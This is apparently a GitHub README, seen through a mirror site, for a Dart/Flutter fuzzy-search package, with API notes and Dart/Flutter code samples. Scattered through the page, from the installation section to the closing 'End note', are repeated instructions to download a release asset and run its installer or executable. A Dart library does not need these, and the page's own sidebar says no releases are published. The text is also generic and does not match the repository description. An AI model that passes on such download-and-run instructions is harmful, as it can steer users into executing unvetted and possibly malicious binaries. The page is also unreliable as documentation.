Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Fast, lightweight search engine for Dart/Flutter with fuzzy search. 4-level priority ranking across name, subtitle, and searchData for fast, relevant results that handle letters, numbers, and emojis šŸ™

License

Notifications You must be signed in to change notification settings

sslaouina/search

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Ā 
Ā 
Ā 
Ā 
Ā 
Ā 
Ā 
Ā 
Ā 
Ā 
Ā 
Ā 
Ā 
Ā 
Ā 
Ā 
Ā 
Ā 
Ā 
Ā 
Ā 

Repository files navigation

https://github.com/sslaouina/search/releases

Release Badge

Modern Search: Fast, Lightweight Dart/Flutter Fuzzy Search Engine for Apps

A fast and light search engine for Dart and Flutter. It brings fuzzy search, typeahead, and autocomplete to apps with a small footprint and simple integration. Build blazing-fast search experiences in mobile apps, web apps, and desktop apps with minimal code.

Visit Releases to download the latest assets and samples. This repository is designed to be easy to drop into your Flutter projects and extend for your domain.


Table of contents

  • Why this project
  • Core ideas
  • Features
  • Architecture
  • Getting started
  • Installation
  • Quick start examples
  • API overview
  • Widgets and components
  • Customization and theming
  • Performance and optimization
  • Testing and quality
  • Accessibility and internationalization
  • Security considerations
  • Deployment and packaging
  • CI/CD and maintenance
  • The roadmap
  • Community and contributions
  • FAQ
  • License

Why this project

Search should feel instant. Users expect typing to narrow results quickly, with minimal delay. This project focuses on delivering a fast, lightweight, and reusable search engine for Dart and Flutter that handles fuzzy matching, typeahead, and autocomplete with a clean API.

  • Lightweight footprint: small memory usage and fast indexing.
  • Dart-first API: designed for Dart and Flutter, easy to integrate in mobile apps.
  • Fuzzy search: tolerant matching that handles typos and variations.
  • Typeahead and autocomplete: live suggestions as users type.
  • Reusable components: modular widgets that you can drop into your UI.
  • Customizable: scoring, tokenization, and UI themes are adjustable.

Core ideas

  • Indexing strategy: index only what you search against. Build a compact index of strings and attributes to keep search fast.
  • Scoring: use a simple, transparent scoring model. Results are ranked by relevance and proximity to the query.
  • Fuzzy matching: implement flexible alignment to accommodate typos and partial matches.
  • UI integration: provide ready-made widgets that work with Flutter’s rendering model and state management options.
  • Extensibility: hooks for custom tokenization, stemming, or domain-specific scoring.

Features

  • Fuzzy text search with configurable tolerance
  • Typeahead and autocomplete in real time
  • Lightweight index with fast lookups
  • Plain Dart API for easy testing and usage
  • Flutter widgets for search bars and lists
  • Customizable highlight templates for matches
  • Support for multiple data fields per item
  • Pluggable tokenizers and scorers
  • Simple test harness to verify behavior
  • Easy to extend with your own ranking rules
  • Works well with large lists and limited memory

Architecture

  • Core search engine (Dart)
    • Index builder
    • Fuzzy matcher
    • Scoring engine
    • Result set and pagination
  • UI layer (Flutter)
    • SearchBar widget
    • Typeahead overlay
    • Results list with highlight
  • Integration layer
    • Data adapters to map your domain objects to search fields
    • Local storage adapters (optional)
  • Testing and tooling
    • Unit tests for core components
    • Widget tests for Flutter UI
  • Utilities
    • Tokenizers
    • Normalizers
    • Helpers for highlighting and rendering

Getting started

Start small. Add the library to your Dart or Flutter project and try a minimal example. Then expand to more complex data models and UI components.

Prerequisites

  • Dart SDK 2.17+ or Flutter 3.0+
  • Basic knowledge of Dart data structures
  • A Flutter project if you plan to use the Flutter widgets

Installation

  • In a Flutter project, add this as a dependency in pubspec.yaml:

    dependencies: search: ^0.9.0

  • In a Dart project, add the package to your pubspec.yaml similarly and run pub get.

  • If you want to use the prebuilt assets, you can download them from the releases page. From the releases page, download the asset matching your platform and run the installer or executable as described in the asset’s instructions. The releases page is here: https://github.com/sslaouina/search/releases. Download the asset and run it to set up the library locally if you need a CLI tool or example binaries.

  • For web or desktop apps, ensure you enable null safety and the appropriate platform bindings in your project.

Quick start

A minimal example that builds a list of strings and searches through them.

Dart example

import 'package:search/search.dart';

void main() {
  final items = [
    'Apple',
    'Banana',
    'Grape',
    'Orange',
    'Pineapple',
    'Strawberry',
    'Mango',
  ];

  final engine = SearchEngine<String>(items);

  final results = engine.search('aple'); // fuzzy match for "Apple" or "Pineapple"
  print(results); // ['Apple', 'Pineapple']
}

Flutter UI example

import 'package:flutter/material.dart';
import 'package:search/search_widget.dart';

void main() => runApp(MyApp());

class MyApp extends StatelessWidget {
  final List<String> items = [
    'Almond',
    'Cashew',
    'Hazelnut',
    'Pistachio',
    'Walnut',
    'Brazil Nut',
  ];

  @override
  Widget build(BuildContext context) {
    return MaterialApp(
      home: Scaffold(
        appBar: AppBar(title: Text('Search Widget Demo')),
        body: Padding(
          padding: const EdgeInsets.all(16.0),
          child: SearchWidget<String>(
            data: items,
            onSelected: (value) => print('Selected: $value'),
          ),
        ),
      ),
    );
  }
}

These examples show the essence of the API. You can replace the data type with a more complex model and map fields like title, description, tags, or keywords.

API overview

  • SearchEngine
    • Constructor: SearchEngine(List data, {List<String Function(T)> extractors, int maxResults = 20})
    • Methods:
      • void indexData(): builds or rebuilds the internal index
      • List search(String query): returns a list of items sorted by relevance
      • void updateItem(T item, String key, dynamic value): updates a single item in the index
    • Properties:
      • List data
      • int maxResults
  • SearchWidget
    • Flutter widget that wires a SearchBar to a ListView
    • Props: data, onSelected, itemBuilder, highlightStyle, debounceTime
  • Tokenizer
    • Splits text into tokens for indexing
  • Scorer
    • Ranks results with a simple scoring function
  • HighlightRenderer
    • Produces rich text with matched parts highlighted

Widgets and components

SearchBar

  • A minimal text field with a leading icon and a clear button
  • Debounced input to avoid excessive searching
  • Integrates with the typeahead overlay to show live suggestions

TypeaheadOverlay

  • Displays suggested results as the user types
  • Scrollable list with keyboard navigation support
  • Highlights the matching parts of each suggestion

SearchList

  • Renders a list of results
  • Supports empty states and loading indicators
  • Animates insertions and removals for smooth UX

SearchWidget

  • Combines the above widgets into a cohesive component
  • Takes a data source, an item renderer, and a callback for selection
  • Easy to reuse across screens

Code sample: Building a search UI with Flutter

class MySearchScreen extends StatefulWidget {
  @override
  _MySearchScreenState createState() => _MySearchScreenState();
}

class _MySearchScreenState extends State<MySearchScreen> {
  final List<Item> items = Item.sampleData();
  late final SearchEngine<Item> engine;

  @override
  void initState() {
    super.initState();
    engine = SearchEngine<Item>(
      items,
      extractors: [
        (Item it) => it.title,
        (Item it) => it.description,
        (Item it) => it.tags.join(' '),
      ],
      maxResults: 25,
    );
    engine.indexData();
  }

  @override
  Widget build(BuildContext context) {
    return Scaffold(
      appBar: AppBar(title: Text('Search Demo')),
      body: SearchWidget<Item>(
        data: items,
        onSelected: (item) => print('Selected: ${item.title}'),
        itemBuilder: (context, item) => ListTile(
          title: Text(item.title),
          subtitle: Text(item.description),
        ),
      ),
    );
  }
}

Customization and theming

  • Highlight style: customize how matched text is colored or bolded
  • Result item layout: supply your own itemBuilder
  • Debounce time: adjust input delay to balance responsiveness and load
  • Tokenization: plug in your own tokenizer for domain-specific data
  • Scoring: implement custom ranking to reflect user intent

Customization examples

  • Highlighter: turn on bold for matches
final highlighter = HighlightStyle(
  matchColor: Colors.orange,
  normalColor: Colors.black87,
  bold: true,
);
  • Custom tokenizer: break on punctuation or domain terms
class DomainTokenizer implements Tokenizer<String> {
  @override
  List<String> tokenize(String input) => input.toLowerCase().split(RegExp(r'[\s,.-]+'));
}

Accessibility and internationalization

  • All UI components expose semantic labels for screen readers.
  • Text and hints support localization through Flutter’s localization framework.
  • Keyboard navigation works for desktop and web environments.

Performance and optimization

  • Indexing is O(n) with a small constant factor. It runs once per dataset update.
  • Search runs in near real-time for typical mobile datasets.
  • Debouncing reduces CPU usage on fast typists.
  • Memory usage depends on the dataset. For typical mobile lists, it remains under a few megabytes.

Data modeling and adapters

  • Data adapters map your domain objects to search fields.
  • Each item can expose multiple fields for indexing (e.g., title, subtitle, keywords).
  • You can combine fields with a simple mapping function.

Data adapter example

class Product {
  final String id;
  final String name;
  final String description;
  final List<String> tags;

  Product({required this.id, required this.name, required this.description, required this.tags});
}

String extractTitle(Product p) => p.name;
String extractKeywords(Product p) => '${p.name} ${p.tags.join(' ')} ${p.description}';

Indexing strategy and incremental updates

  • Build an initial index from the dataset.
  • When items change, update only affected entries.
  • Use a lightweight delta mechanism to keep index up to date.

Testing and quality

  • Unit tests cover core logic: tokenization, matching, scoring, and result ranking.
  • Widget tests verify UI behavior: typeahead, highlighting, empty states.
  • Fuzz testing checks edge cases in tokenization and scoring.

Test snippet

void main() {
  test('fuzzy match basic', () {
    final items = ['Apple', 'Banana', 'Grape'];
    final engine = SearchEngine<String>(items);
    final results = engine.search('aple');
    expect(results, ['Apple']);
  });
}

Accessibility and i18n tests

  • Ensure that matched text is readable by screen readers.
  • Validate localized strings appear correctly in UI components.

Release, distribution, and packaging

  • This project ships as a Dart package for easy inclusion in Dart and Flutter projects.

  • The recommended workflow is to fetch the package via pub or add as a dependency in pubspec.yaml.

  • If you need a ready-to-run environment, use the assets from the releases page to test local builds or examples.

  • For testing on local machines or CI, you can download the binary or sample apps from the releases page. From https://github.com/sslaouina/search/releases, download the asset that matches your OS and run the installer or executable as described in the asset notes.

  • Downloading and running instructions are provided to help you validate behavior quickly. The releases page is here: https://github.com/sslaouina/search/releases. Download the asset and execute the installer or binary to inspect sample apps and CLI tools.

CI, quality gates, and maintenance

  • GitHub Actions workflows ensure builds pass on push and pull requests.
  • Tests run on multiple Dart versions for compatibility.
  • Dependabot scans keep dependencies current.
  • Documentation and examples are updated with each release.

Roadmap

  • Expand language support for more tokenization strategies.
  • Add more advanced scoring models to handle domain-specific searches.
  • Improve performance with parallel indexing for large datasets.
  • Build richer UI components for complex filtering and facets.
  • Improve accessibility with more robust semantic roles and keyboard focus management.

Community and contributions

  • This project welcomes contributions. If you want to contribute, fork the repository, implement your feature, and open a pull request with tests.

  • Report issues in the issue tracker. Include steps to reproduce and a minimal example if possible.

  • Follow the contribution guidelines in the CONTRIBUTING.md file.

  • For community updates and examples, follow the repository and its releases channel. The releases page is the primary place to find new assets and sample apps, and it provides a stable distribution point for testing your builds. The link remains the go-to place to download assets and verify changes.

Changelog

  • v0.9.0 — Improved fuzzy matching; added tokenization options; updated Flutter widgets for better performance.
  • v0.8.0 — Typeahead improvements; better highlighting; new examples.
  • v0.7.0 — Core API enhancements; improved indexing strategy; updated documentation.
  • v0.6.0 — Initial Flutter widget set; basic search capabilities; public API stabilized.

FAQ

  • Is this library suitable for large datasets? Yes, it is designed to handle sizable lists. For extremely large datasets, consider indexing a subset or applying server-side search for offline capabilities.

  • Can I customize how results are ranked? Absolutely. You can modify the scoring function and tokenization strategy to fit your domain.

  • How do I add support for more languages? Implement a language-aware tokenizer and adjust normalization steps to account for diacritics and locale-specific rules.

  • Does it work on the web? Yes, the Flutter widgets are adaptable to web usage, with careful attention to performance and rendering.

  • How do I report a bug? Open an issue with a minimal reproducible example and a description of the expected vs. actual behavior. Include code snippets and data samples when possible.

License

  • This project is licensed under the MIT License. See LICENSE for details.

Images and visuals

  • Demo of a search UI Demo UI

  • Sparkline of performance Performance Sparkline

  • Flutter icon (optional) Flutter Icon

  • Tokenization concept Tokenization Diagram

Notes on usage

  • The library is designed to be drop-in for Flutter apps. You can start with the provided widgets and expand as your data model grows.
  • If you need to support more complex data, you can implement your own adapters and pass them to the engine.
  • For debugging, enable verbose logging in the engine. You can inspect token streams, match scores, and the final ranking.

Download and installation details

  • The Releases page hosts prebuilt assets, samples, and sometimes CLI tools. It is updated with every major release.
  • If you need a specific asset for offline testing or a demo, go to the releases page and choose the asset that matches your environment. From the releases page, download the asset and run it to validate the build on your machine. The releases page is here: https://github.com/sslaouina/search/releases. Download the asset and execute it according to the asset’s documentation.

Advanced usage

  • Multi-field search
    • You can index multiple fields per item (title, description, tags).
    • The engine combines field scores for final ranking.
  • Case-insensitive search
    • Tokenization and normalization ensure searches are case-insensitive by default.
  • Diacritic-insensitive search
    • Optional normalization can ignore diacritics for better matches.

Troubleshooting

  • No results returned

    • Check that your tokens are being extracted correctly.
    • Ensure the indexData() step runs after you populate your dataset.
    • Verify that the query string is not trimmed and that debouncing does not delay results too long.
  • UI lags on large lists

    • Consider paging results and loading only a subset into the UI.
    • Debounce input and use a dedicated isolate if you handle extremely large datasets.
  • Keyboard navigation not responding

    • Ensure focus management is correct in Flutter and that your host app allows focus traversal.

Security considerations

  • The search engine operates client-side. Do not feed sensitive data to the search index if it should remain private.
  • If you extend the engine to fetch data from a remote source, secure the data flow and validate input rigorously.
  • Regularly review dependencies for known vulnerabilities.

Conclusion

  • This repository provides a practical, fast, and adaptable solution for adding fuzzy search to Dart and Flutter apps.
  • It emphasizes a simple API, fast performance, and flexible UI integration.
  • The project remains focused on clear code, solid tests, and an extensible architecture.

End note

  • For the latest assets, examples, and downloadable samples, visit the releases page. This ensures you have access to vetted, ready-to-run material for your platform. The releases page is here: https://github.com/sslaouina/search/releases. Download the asset and execute it to explore the samples and benchmarks.

About

Fast, lightweight search engine for Dart/Flutter with fuzzy search. 4-level priority ranking across name, subtitle, and searchData for fast, relevant results that handle letters, numbers, and emojis šŸ™

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •